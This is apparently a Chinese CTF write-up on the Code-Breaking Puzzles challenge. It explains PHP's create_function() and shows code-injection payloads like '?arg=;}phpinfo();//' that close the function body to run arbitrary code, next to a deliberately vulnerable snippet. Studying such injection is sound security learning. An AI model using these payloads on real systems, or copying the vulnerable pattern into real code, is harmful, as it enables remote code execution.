create_function()注入
最近刚刚加入了P神的代码审计知识星球,希望跟着大神不断钻研web安全前沿知识,学到各种tricks,看到了Code-Breaking Puzzles活动,学习一下。
源码:
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
1.介绍一下php中create_function()函数。
string create_function( string $args , string $code)
string $args是变量部分
string $code是方法代码部分,就是要执行的语句
举个例子:
create_function('$firstname','echo $firstname."Liu"');
以上代码就类似于:
function fT($firstname){ echo $firstname."Liu"; }
2.create_function()如何实现注入?
比如源码中出现了以下语句:
create_function('$wuhu',$_GET[arg]);
传参的时候可以这么传:?arg=}phpinfo();//
执行情况:(这是代码部分是自定义的情况)
function wuhu(){
}phpinfo();//
}
这是代码执行部分是echo的情况:执行函数为:
源代码: function fT($arg){ echo "aaa".$arg; } 注入后代码: function fT($arg){ echo "aaa";} phpinfo();// }
思考:闭合的时候要根据代码部分进行闭合。
这时候要传参的就是?arg=;}phpinfo();//
总之,要根据方法部分的代码闭合,使语法正确。